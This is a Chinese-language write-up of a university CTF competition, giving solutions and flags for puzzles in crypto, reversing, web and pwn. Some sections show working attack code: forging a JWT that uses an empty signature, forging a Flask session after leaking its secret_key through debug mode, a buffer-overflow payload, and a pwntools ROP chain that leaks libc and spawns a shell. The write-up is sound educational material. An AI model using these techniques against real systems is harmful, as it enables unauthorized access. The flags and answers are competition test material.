一个蒟蒻的 writeup

归档的题目 repo

1
2
nickname = "littleTT"
token = "53:..."

→签到←

不会吧不会吧不会真的有人看签到题的 writeup 吧

总之群公告最后有一串神秘代码(x)
c3ludHtKM3lwYnpyIGdiIDBndSBDWEggVGhUaFRoLCByYXdibCBndXIgdG56ciF9
base64 解码之后得到
synt{J3ypbzr gb 0gu CXH ThThTh, rawbl gur tnzr!}
很明显是个凯撒加密
因为前四位是应当是 flag,可以得出偏移量是 13 位
于是快乐的得到 flag 为

flag{W3lcome to 0th PKU GuGuGu, enjoy the game!}

主的替代品

一开始以为是绕过 main 函数直接用 _start,结果发现还是自己 naive 了

这道题考察的应该是 C 语言宏的使用
使用 ## 可以将两个符号合成为一个完整的词
(因为自己基础也不是很好就不多讲了…直接上代码吧)

1
2
3
4
5
6
7
#include <stdio.h>
#define c(a, b) a##b
int c(ma, in)() {
printf("ma");
printf("in\n");
return 0;
}

(看群聊记录可能还考验了一下 ncat / pwntools 的使用方法(x)
不过这些工具最好还是在网上学习都熟悉一下比较好)

flag{to_main_or_not_to_main_that_is_a_question_07fd25bb}

小北问答 1202

传统艺能:面向google编程

基本把关键词往搜索引擎里面一输结果就出来了

  1. 北大信息中心里就可以找到,直接计算即可。答案为 108475792463321

  2. 直接搜索四个形容词就可以找到这里,鼠标放上去就可以看到答案穆良柱老师的热学

  3. 搜索协议可以找到原文,所以答案是 503:

TEA-capable pots that are not provisioned to brew coffee may return either a status code of 503, indicating temporary unavailability of coffee…

  1. 生命游戏有自己的 wiki,上去简单搜索一下就可以找到这个网页,所以答案是 4

  2. 不太记得怎么找到的了…总之是 google 一下软件的名字 + “default password”,搜索结果里就有,答案是 config

  3. 这个搜一下汉信码就行了。我是在这里找到的,答案是 23 * 23 = 529

  4. 直接搜索题面就可以,答案是 SM2

  5. 搜索一下 TLD 可以得到一个 IANA 官方实时更新的列表,用 web.archive.com 回溯到 2013.05.05 的版本数一下即可,答案为 329

p.s. 答案格式所用的正则表达式也是个非常有用的知识点

flag{you-are-master-of-searching_2cdcec65}
flag{you-are-phd-of-searching_8fec1c7d}

与佛论禅网大会员

二维码yyds

直接查看所给文件的二进制数据,发现结尾有PK头
尝试直接解压,得到 flag1.txt

flag{K33p_going!Passw0rd-is-hidden-in-the-1mage}

继续解压 flag2.txt 发现需要密码,而 flag1 提示密码藏在图中
将 gif 展开可以得到 8 张图片,其中偶数帧全部相同,为一张完整的图片
而奇数帧分别在图片的四个角上可以看到明显人为的白块:

与原图相减后二值化可以得到四个角上有整齐排列的 L 字形黑白块:

好吧我承认我处理图像的时候整崩了好像某两张图还反色了而且还有一块是再处理了一次才补上的
仔细观察可以发现图中左侧和右侧的边缘只有半格,所以可以将四张图拼在一起呈十字形
再仔细观察拼接后的图片可以发现左侧及上面各有一整排黑白交错的定位行,于是可以判定这是一个二维码,于是再加上三个角上的定位图案可得:

扫码得到 https://www.pku.edu.cn/#hint=zip_password_is_fm2jbn2z6t0gl5le
再次解压输入密码即可得到 flag2.txt

flag{you are master of stegan0. Here is y0ur flag}

2038 年的银行

银行又来无中生有啦

这类题我一般都是一通乱操作大概找到规律了就莽过去了(x
尝试一下发现负债和资产都有上限,超出上限后溢出为负数
(后来尝试了一下应该是用 int 储存的)
所以思路是疯狂借款把负债堆积到 INT_MAX 左右,之后负债会在正负之间反复横跳而绝对值不会增加
期间就可以在银行存款闷声发大财(记得保留一部分现金买吃的过夜)
一段时间后资产就可以超过负债,此时直接还清负债剩下的钱滚利息就可以买下 flag 了

flag{SucH_Na!V3_b4Nk_80e4eb54}

人类行为研究实验

百京大学欢迎您

挂代理比较烦人…不过好在之前自己尝试过写本地代理,就直接用 Chrome 的 SwitchyOmega 挂上了
flag1 需要赢得游戏,直接查看源代码 maximum.js
发现游戏胜利后会向一个 target 发送一次 request:

1
var target = "/" + [![] + []][+[]][+[]] + [![] + []][+[]][!+[] + !+[]] + [+[![]] + []][+[]][+!+[]] + "g?k=" + ("c" + [96, 55, 109, 99].sort().map(_=>String.fromCodePoint(_ + 12)).join("") + [[][[]] + []][+[]][+!+[]] + "o" + +"n" + "e").toLowerCase();

一大串的挺烦人,直接拖到 Chorme 的 console 里跑出结果 /flag?k=cyclononane
接上自己的 token 直接访问即可得到 flag1

flag{Al1ow_prEviEw1n9_Fl4G_54ed5324}

继续看 maximum.js 发现提交成绩的函数

1
submit = function() {window.location.href = "http://iaaa.pku.edu.cn/?token=" + encodeURIComponent(TOKEN) + "&score=" + s}

好家伙直接造假学校官网了(x
访问进去登录发现因为身份是 student 所以无法得到 flag
观察跳转的网址,发现请求里包含了一个 jwt
解码后发现 payload 是 {"identity":"student"}
而且 HS256 签名用的是空签名(草)
于是伪造一个 identity 是 teacher 的 payload 并加上签名,提交即可得到 flag

flag{D4nG3r0u5_pRoXy_4Nd_s1MpLe_jvvT_76db1bcb}

人生苦短

某个憨批搜了半天的 Flask 漏洞结果答案是 python 自带函数报错

直接查看源代码,发现最后一行 app.run('0.0.0.0', 5000, True) 里开启了 debug
而判断 admin 的方法是通过 Cookie 中的 session,所以需要得到 secret_key 来伪造 session
Flask 的 debug 模式在报错时会显示报错行前后几行的源代码,可以用来暴露代码中的 secret_key
于是构造 request payload 为 {token: 1, action: 1}(注意这里是数字 1)
从而使 action = request.json.get('action', '').strip() 中的 strip 函数报错
得到 app.secret_key = 'oh you got it, one more step to get flag'
之后像上题一样伪造 {"admin":true} 的 session 即可成功登录 getflag

flag{F1a5k_debugging_mode_1S_1Ns3cure_ba357acd}

皮浪的解码器

整型有风险,除法需谨慎

遇事不决先 checksec,发现 No canary found,基本就是栈溢出了
直接丢到 IDA 里面看一看,发现 enc, enclen, dec, declen 在同一个字段内且顺序排列
enc 的写入是直接 scanf("%s", enc),所以第一怀疑是不是可以直接溢出覆写掉 dec 之类的
结果查看 b64decode 函数发现 3 * (enclen / 4) < 700 必须成立,好像没有留给溢出的空间
再仔细观察可以发现 flag 也排在 dec, declen 之后,而程序结束时会打印从 dec 开始的 declen 个字节,所以考虑在 b64decode 里将 dec 溢出来写入 declen,使得最后的输出包括 flag
因为整型除法是向下取整,我们输入的合法 enclen 最大可以是 (700 / 3) * 4 + 3 = 935 个字符
因此解码时因为会自动补齐末尾的 0 所以会多得到 2 个字节并写入至 declen
于是我们可以这样构造 payload:

1
2
p = b"0" * 700 + b'\xff' * 2
p = base64.b64encode(p)[:-1]

将其发送即可得到打印出的 flag

flag{i_see_before_i_know_2a0a1ed1}

未来的机器

这个汇编臭掉了,不如我们把他颅内反编译了吧

大概扫了一眼 runner.py 里面的内容,发现就是很寻常的汇编指令,于是打算直接脑内反编译
首先先写了个脚本把繁复的指令精简一下增加可读性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
funcTable={
"add":(2,(lambda a,b: "(%s + %s)"%(str(a), str(b)))),
"sub":(2,(lambda a,b: "(%s - %s)"%(str(a), str(b)))),
"mul":(2,(lambda a,b: "(%s * %s)"%(str(a), str(b)))),
"rem_s":(2,(lambda a,b: "(%s %% %s)"%(str(a), str(b)))),
"and":(2,(lambda a,b: "(%s & %s)"%(str(a), str(b)))),
"or":(2,(lambda a,b: "(%s | %s)"%(str(a), str(b)))),
"eq":(2,(lambda a,b: "(%s == %s)"%(str(a), str(b)))),
"ne":(2,(lambda a,b: "(%s != %s)"%(str(a), str(b)))),
"lt_s":(2,(lambda a,b: "(%s < %s)"%(str(a), str(b)))),
"le_s":(2,(lambda a,b: "(%s <= %s)"%(str(a), str(b)))),
"gt_s":(2,(lambda a,b: "(%s > %s)"%(str(a), str(b)))),
"ge_s":(2,(lambda a,b: "(%s >= %s)"%(str(a), str(b)))),
"shl":(2,(lambda a,b: "(%s << %s)"%(str(a), str(b)))),
"eqz":(1,(lambda a: int(a==0))),
}

f = open("asm.txt", "r")
s = f.readlines()

stack = []
cmds = set()
for cmd in s:
c = cmd.replace(" ", "").replace("\n", "").split(" ")
c[0] = c[0].split(".")
if len(c) == 1:
if len(c[0]) == 1:
x = ""
if c[0][0] == "if":
x = stack.pop()
print(c[0][0], str(x))
elif c[0][0] == 'i32':
a = stack.pop()
if c[0][1] == 'eqz':
stack.append("(%s == 0)" % str(a))
elif c[0][1] == 'store':
b = stack.pop()
print("mem[%s] = %s"%(str(b), str(a)))
elif c[0][1] == 'load':
stack.append("mem[%s]"%str(a))
else:
b = stack.pop()
res = funcTable[c[0][1]][1](b, a)
stack.append(res)
else:
if len(c[0]) == 1:
print(c[0][0], c[1])
else:
c[1] = c[1].replace("var", "v").replace("global", "g").replace("$", "")
if c[0][1] == 'const':
stack.append(c[1])
elif c[0][1] == 'get':
stack.append(c[1])
elif c[0][1] == 'set':
v = stack.pop()
print("%s = %s" % (c[1], str(v)))

print(stack)

然后就是判断每个循环在干什么,复原出大概的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// examine canary
v116 = g16
g16 += 16
if (g16 >= g17)
error(StackOverflow)

v111 = 114514

#define t mem[3776]
int a[] = mem[1952] // a[x] = mem[1952 + (x << 2)]
int b[] = mem[2336]
int c[] = mem[1152]
int d[] = mem[1552]

// label 1
for (t = 0; t < 96; ++t) {
a[t] = t
}

// label 3
for (t = 1; t < 96; ++t) {
v111 = (v111 * 1919 + 7) % 334363 // & -1?
// v113 = v111 % t
// v114 = a[v111 % t]
swap(a[v111 % t], a[t])
}

// g18 = 4982 mem[4982] = len(input)
// g19 = 5400 mem[5400] = key same as a, mem[5400 + (i << 2)]
// g20 = 4986 mem[4986] = len(key)
// g21 = 5000 mem[5000] = input same as a, mem[5000 + (i << 2)]

// label 5
for (t = 0; t < len(input); ++t) {
if (input[t] < 32 || input[t] >= 96) {
v115 = 10
break
}
c[t] = (a[input[t] - 32] + t) % 96 + 32
}
if (v115 == 10) {
g16 = v116 // restore
return -1
}

// label 7
for (t = 0; t < len(input); ++t) {
b[t] = t
}

// label 9
for (t = 1; t < len(input); ++t) {
v111 = (v111 * 1919 + 7) % 334363
// v113 = v111 % t
swap(b[v111 % t], b[t])
}

//label 11
for (t = 0; t < len(input); ++t) {
d[b[t]] = c[t]
}
if (len(input) != len(key)) {
g16 = v116 // restore
return 0
}

//label 13
for (t = 0; t < len(input); ++t) {
if (d[t] != key[t]) {
v115 = 26
break
}
}
g16 = v116 // restore
if (v115 = 26) {
return 0
} else {
return 1
}

最后就是逆推每个变换把 key 复原成 flag 啦:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
a = [i for i in range(96)]

v111 = 114514
for t in range(1, 96):
v111 = (v111 * 1919 + 7) % 334363
x = a[t]
a[t] = a[v111 % t]
a[v111 % t] = x

b = [i for i in range(41)]
for t in range(1, 41):
v111 = (v111 * 1919 + 7) % 334363
x = b[t]
b[t] = b[v111 % t]
b[v111 % t] = x

key = list('.q~03QKLNSp"s6AQtEW<=MNv9(ZMYntg2N9hSe5=k')

c = ['0'] * 41
for i in range(41):
j = b.index(i)
c[j] = key[i]
c = [(ord(c[i]) - 32 - i) % 96 for i in range(41)]

inp = ['0'] * 41
for i in range(41):
j = a.index(c[i])
inp[i] = j + 32

res = ""
for i in inp:
res += chr(i)
print(res)

flag{W4SM_1S_s0_fun_but_1t5_subs3t_isN0T}

庄子的回文

如果早知道题解也会被 ROP…

照例 checksec,照例没有 canary
扔到 IDA 里一看能溢出的地方直接写入都没啥用,于是考虑 ROP
结果左边函数列表一看:好家伙,怎么就这几个啊
行…给了 libc 就得用对吧

1
2
3
4
5
file = "./pwn"
libc = "./libc-2.31.so"
elf = pwn.ELF(file)
libc = pwn.ELF(libc)
rop = pwn.ROP(elf)

构造 payload 思路为:第一次输入返回地址指向少有的能用的函数 puts,将 libc 的基址 leak 出来,之后再次调用 run 函数来读入并执行下一步的输入

1
2
3
4
5
6
payload = b"1\n"
payload += b"0" * 0x88
rop.call('puts', [elf.got['__libc_start_main']])
rop.call('run')
payload += rop.chain()
payload += b"\n"

之后就可以直接用 libc 里面的函数和符号做一个正常的 get shell 了
(这里有个小插曲…第二次输入的时候或许是因为栈的结构已经崩溃了,导致直接调用 system("/bin/sh") 会爆炸。而 execve("/bin/sh", 0, 0) 无法构建合理的 rop 链来赋值第三个参数,所以投机取巧地尝试了 execve("/bin/sh", 0),最后成功了)

1
2
3
4
5
6
7
8
9
10
11
12
__libc_start_main = session.recvline()
__libc_start_main = __libc_start_main[:-1] + b'\x00\x00'
__libc_start_main = pwn.u64(__libc_start_main)
got_system = libc.symbols['execve'] + \
__libc_start_main - libc.symbols['__libc_start_main']
got_binshstr = libc_binsh=next(libc.search(b"/bin/sh")) + \
__libc_start_main - libc.symbols['__libc_start_main']

rop.call(got_system, [got_binshstr, 0])
payload = b"0" * 0x88
payload += rop.chain()
payload += b"\n"

flag{palindromic_string_is_drawn_by_horse_7dd794e9}

无法预料的问答

emoji也有大小啊

一上来感觉这题非常的无厘头,尝试了几次也没有发现什么规律
所以就当作每个 emoji 对应了一个值,然后每次正确的选项就是最大值
所以我们只要通过不断的懵答案更新我们所能得到的大小关系就可以了(x)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import urllib.request
import requests
import re
import time

UA = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"
headers = {}
headers["User-Agent"] = UA
headers["Cookie"] = "" # session goes here

url = "http://prob11.geekgame.pku.edu.cn/?"


def receive():
request = urllib.request.Request(url, headers=headers)
response = urllib.request.urlopen(request)
r = response.read().decode("utf8")
response.close()
l = re.findall(r'value="(.*?)">', r)
return l


def send(choice):
d = {"choice": choice}
response = requests.post(url, data=d, headers=headers)
while len(re.findall(r'(回答.*?)\n', response.text)) < 2:
print("error", end="\r")
time.sleep(1)
response = requests.post(url, data=d, headers=headers)
r = response.text
d = r[r.index("2em;")+10:]
d = d[:d.index("</div>")]
d = int(d)
if d == 20:
print(r)
return re.findall(r'(回答.*?)\n', r)[1], d


with open("log.txt", "rb") as f:
s = f.read()
if s:
d = eval(s.decode("utf16"))
print("load successful")
else:
d = {}
print("file not loaded")

sum = 0
for i in list(d):
sum += len(d[i])
print(str(i) + " " + str(len(d[i])), end="\t")
print("\n", len(list(d)), sum, len(list(d)) * (len(list(d)) - 1) // 2)

for i in list(d):
for j in list(d):
if i in d[j] and j in d[i]:
print(i, j)


while True:
try:
time.sleep(1)

for x in list(d):
for y in d[x]:
d[x].union(d[y])

with open("log.txt", "wb") as f:
f.write(str(d).encode("utf16"))
l = receive()

c = [0] * len(l)
for i in range(len(l)):
x = l[i]
if not d.get(x):
d[x] = set()
for y in l:
if y in d[x]:
c[i] += 1

m = c.index(max(c))
print(m, c)
r, count = send(l[m])
if count == 20:
break
if "正确" in r:
for x in l:
if l[m] != x:
d[l[m]].add(x)
else:
if len(l) == 2:
d[l[1-m]].add(l[m])
print(count, r)
except KeyboardInterrupt:
exit()
except Exception as e:
print(repr(e))

大概挂了半个多小时就有连续 20 次的成功了

flag{y0uAr3_S00_K1raK1ra_1a3f34ac}

计算概论B

你永远不知道你之前写过奇奇怪怪的代码什么时候能派上用场

打开笔记本就是一个词频统计和一个编码后的二进制结果,自然直接想到 Huffman 上去了
很快啊,我就掏出了以前写的 Huffman 编码程序,上来就是一个词频文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
e: 70
2: 274
9: 81
4: 124
7: 311
1: 77
6: 649
d: 35
f: 69
0: 208
5: 119
c: 35
a: 3
8: 55
3: 94
b: 6

然后直接一个 ./huff-fast -T -f ./test.frq,对应的码表就出来了
有了码表,对应的解码前的文件也很容易跑出来了(注意一下整个字节串都被倒序了就行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
text = ""
table = {'0': "000",
'1': "10001",
'2': "011",
'3': "0010",
'4': "0100",
'5': "0011",
'6': "11",
'7': "101",
'8': "01010",
'9': "10011",
'a': "10010100",
'b': "10010101",
'c': "1001011",
'd': "100100",
'e': "10000",
'f': "01011"}

code = [table[k] for k in list(table)]

l = []
i = 0
while i < len(text):
s = text[i]
i += 1
while s not in code:
if len(s) >= 8:
print("error")
exit()
s += text[i]
i += 1
b = code.index(s)
l.append(b)

l = [l[i+1] * 16 + l[i] for i in range(0, len(l), 2)]
print(bytes(l)[::-1])

得到的原文是一段 Huffman 为人熟知的历史:

while getting his masters degree, a professor gave his students the option of solving a difficult problem instead of taking the final exam. opting for what he thought was the easy way out, my uncle tried to find a solution to the “smallest code” problem. what his professor didn't tell him is that no one at that time knew the best solution. as the term drew to a close, david realized he'd have to start studying for the exam and starting throwing away his scratchings on the problem. as one of the papers hit the trash can, the algorithm came to him. flag{w0w_congrats_th1s_1s_rea11y_huffman} he published the paper “a method for the construction of minimum redundancy codes” describing his algorithm in 1952. this became known as huffman coding. at the time he didn't consider copyrighting or patenting it, because was just an algorithm, and he didn't make a penny off of it. because of its elegance and simplicity, it is described in many textbooks and several web pages. today derivative forms
of huffman coding can found in common electronics and web pages (for example, the jpeg image file format).

flag{w0w_congrats_th1s_1s_rea11y_huffman}

巴别压缩包

我在服务器上跑了几个小时就为了这?

查看 zip 的文件格式可以发现 ** 的地方均为文件的 CRC-32 校验码
而因为这个文件本身解压后还是自身,所以四个校验码应该是相同的
那么我们开心地枚举一下大概 43 亿种组合就好啦~
最后得到的是 F555094A

flag{QUINE_F555094A_F555094A_F555094A_F555094A}